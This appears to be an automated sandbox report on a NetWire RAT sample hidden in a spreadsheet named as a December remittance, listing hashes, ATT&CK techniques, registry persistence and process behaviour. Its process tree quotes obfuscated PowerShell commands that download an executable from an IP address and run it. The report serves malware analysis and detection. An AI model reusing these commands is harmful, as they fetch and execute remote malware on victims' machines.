netwire | 49638c7502de579d5d7afa8081710d51193fb91b96055283a3af8b28b4e0721e

General

Target

remittance for the month of Dec.xls
Size

238KB
MD5

2630facfc34c2f673ed8df90e6605c56
SHA1

2c462db9f695db91d9c61d961f8a7ddb48d62b57
SHA256

49638c7502de579d5d7afa8081710d51193fb91b96055283a3af8b28b4e0721e
SHA512

7d1f5c107341321005b9a9dc3b2b166fc8af34f9202bb865172a03e328391741eb827104c4418ba2fd093286090ff2d82518a5bf083b7b59e3701b297890f8a9

Score

10^/10

netwire botnet persistence rat stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.15.143.142/fa.exe

Signatures

NetWire RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1204-30-0x0000000000400000-0x0000000000553000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	196	492	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2312	492	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	208	492	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

22 196 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

ps.exe

pid process

2140 ps.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

492 EXCEL.EXE
Loads dropped DLL 1 IoCs

Processes:

ps.exe

pid process

1204 ps.exe

flow	pid	process
22	196	powershell.exe

pid	process
2140	ps.exe

pid	process
1204	ps.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ps.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	ps.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\propylasoc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Caravanerner\\Mechanico7.vbs"	ps.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

ps.exeps.exe

pid process

2140 ps.exe
1204 ps.exe
1204 ps.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ps.exe

description pid process target process

PID 2140 set thread context of 1204 2140 ps.exe ps.exe

pid	process
2140	ps.exe
1204	ps.exe
1204	ps.exe

description	pid	process	target process
PID 2140 set thread context of 1204	2140	ps.exe	ps.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

492 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
208	powershell.exe
196	powershell.exe
2312	powershell.exe
208	powershell.exe
196	powershell.exe
2312	powershell.exe
208	powershell.exe
196	powershell.exe
2312	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

ps.exe

pid process

2140 ps.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

492 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 208 powershell.exe
Token: SeDebugPrivilege 196 powershell.exe
Token: SeDebugPrivilege 2312 powershell.exe

pid	process
2140	ps.exe

description	pid	process
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	196	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXEps.exe

pid	process
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
492	EXCEL.EXE
2140	ps.exe
492	EXCEL.EXE
492	EXCEL.EXE

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

EXCEL.EXEpowershell.exeps.exe

description	pid	process	target process
PID 492 wrote to memory of 196	492	EXCEL.EXE	powershell.exe
PID 492 wrote to memory of 196	492	EXCEL.EXE	powershell.exe
PID 492 wrote to memory of 208	492	EXCEL.EXE	powershell.exe
PID 492 wrote to memory of 208	492	EXCEL.EXE	powershell.exe
PID 492 wrote to memory of 2312	492	EXCEL.EXE	powershell.exe
PID 492 wrote to memory of 2312	492	EXCEL.EXE	powershell.exe
PID 2312 wrote to memory of 2140	2312	powershell.exe	ps.exe
PID 2312 wrote to memory of 2140	2312	powershell.exe	ps.exe
PID 2312 wrote to memory of 2140	2312	powershell.exe	ps.exe
PID 2140 wrote to memory of 1204	2140	ps.exe	ps.exe
PID 2140 wrote to memory of 1204	2140	ps.exe	ps.exe
PID 2140 wrote to memory of 1204	2140	ps.exe	ps.exe
PID 2140 wrote to memory of 1204	2140	ps.exe	ps.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\remittance for the month of Dec.xls"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('http://45.15.143.142/fa.exe','ps.exe')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/ps.exe')
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312

C:\Users\Admin\AppData\Roaming\ps.exe
"C:\Users\Admin\AppData\Roaming\ps.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2140

C:\Users\Admin\AppData\Roaming\ps.exe
"C:\Users\Admin\AppData\Roaming\ps.exe"
4⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 20; Move-Item "ps.exe" -Destination "${enV`:appdata}"
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:208

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
b346252fc3402a8f9552de980b4d5bf4

SHA1
e334a503dcf33f5ce0c80a282f1b73ad596d224b

SHA256
1cbdf33258112c4d294618126f4c920436e14a4f1879a00441388bc455556201

SHA512
069aa6baca7d77b5d5086922df095b86cef4abac6290d4e2709b6665968fd73b5b264bfc34f744a608ea0a8f54f7418a07d9f5fbc7b398c00e6ad6119e0d789e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
18edd51eb06608db30a7b8e641382b72

SHA1
1b6250a818dd15a51de39534a96f1ae581858794

SHA256
fb1b4e0918e9ed6627e1b877fb91364d44c436bbea21418a6fa89756f1b4abd4

SHA512
2a948cf09654933fb1f0d211264cf746acc9e83ca6563d405e3dd0f6345551abb06d66b774362f049337f6685a02cf4061f8cfb6058cd4ece68406aa5640d26b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
566c4b2cdd2d4e6249f28329a987ba7c

SHA1
40415f4212013fa2a8d81567b7e4d67dec4b0e0d

SHA256
3a2a976e3f969dd602655c1f50cefc62f1224a37924ee0c1dc7097d0b758967e

SHA512
0036700c962cd742ea7252fa0f80546c0e816002d795a88d78a24e526ad92ce24a426bb95a18195fbbc4d213b7bf4cf63b69973d91343331c55e399120c5bdaa

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
b437725040fe56cafc18340f61faa9e1

SHA1
c2d2400adad8aa17aa94a771cb43492d97796daa

SHA256
42e513c76667c1cb35bcb7050b9e92539a4a70d1bafca6dfb6ab640521753a64

SHA512
d1c8b12d75b726e860f1891b3c0aa6bf7fd87df3e013a4847f388de11a9c0de15c59ac914b95d3042c16a3120976a4306c19116d45f9d8ef35825af69468a2f7

Download Submit
C:\Users\Admin\AppData\Roaming\ps.exe
MD5
5188c198e093757a394d4bcb495f325d

SHA1
bed090c60387a493b4dabf3f1ee318293c4cee27

SHA256
6f18dd2576aa2fc3af625f18e10aeac0f57fca8be33207bc0b6a7a6ee7d33701

SHA512
f5f8578156a3a8635e3a16acebcd83c46ada5b5089ba53020b5b52ba4f990f967e197ce89dfd22118ffb15a2cba7e5f889d6d102c7acf56a8ec354c60b26c07c

Download Submit
C:\Users\Admin\AppData\Roaming\ps.exe
MD5
5188c198e093757a394d4bcb495f325d

SHA1
bed090c60387a493b4dabf3f1ee318293c4cee27

SHA256
6f18dd2576aa2fc3af625f18e10aeac0f57fca8be33207bc0b6a7a6ee7d33701

SHA512
f5f8578156a3a8635e3a16acebcd83c46ada5b5089ba53020b5b52ba4f990f967e197ce89dfd22118ffb15a2cba7e5f889d6d102c7acf56a8ec354c60b26c07c

Download Submit
C:\Users\Admin\Documents\ps.exe
MD5
5188c198e093757a394d4bcb495f325d

SHA1
bed090c60387a493b4dabf3f1ee318293c4cee27

SHA256
6f18dd2576aa2fc3af625f18e10aeac0f57fca8be33207bc0b6a7a6ee7d33701

SHA512
f5f8578156a3a8635e3a16acebcd83c46ada5b5089ba53020b5b52ba4f990f967e197ce89dfd22118ffb15a2cba7e5f889d6d102c7acf56a8ec354c60b26c07c

Download Submit
memory/196-3-0x0000000000000000-mapping.dmp

Download
memory/196-8-0x00007FF9A0340000-0x00007FF9A0D2C000-memory.dmp

Filesize
9.9MB

Download
memory/208-10-0x00000206800C0000-0x00000206800C1000-memory.dmp

Filesize
4KB

Download
memory/208-13-0x0000020680470000-0x0000020680471000-memory.dmp

Filesize
4KB

Download
memory/208-7-0x00007FF9A0340000-0x00007FF9A0D2C000-memory.dmp

Filesize
9.9MB

Download
memory/208-4-0x0000000000000000-mapping.dmp

Download
memory/492-2-0x00007FF9A7210000-0x00007FF9A7847000-memory.dmp

Filesize
6.2MB

Download
memory/1204-24-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/1204-25-0x0000000000401314-mapping.dmp

Download
memory/1204-27-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/1204-29-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/1204-30-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/2140-19-0x0000000000000000-mapping.dmp

Download
memory/2312-5-0x0000000000000000-mapping.dmp

Download
memory/2312-9-0x00007FF9A0340000-0x00007FF9A0D2C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads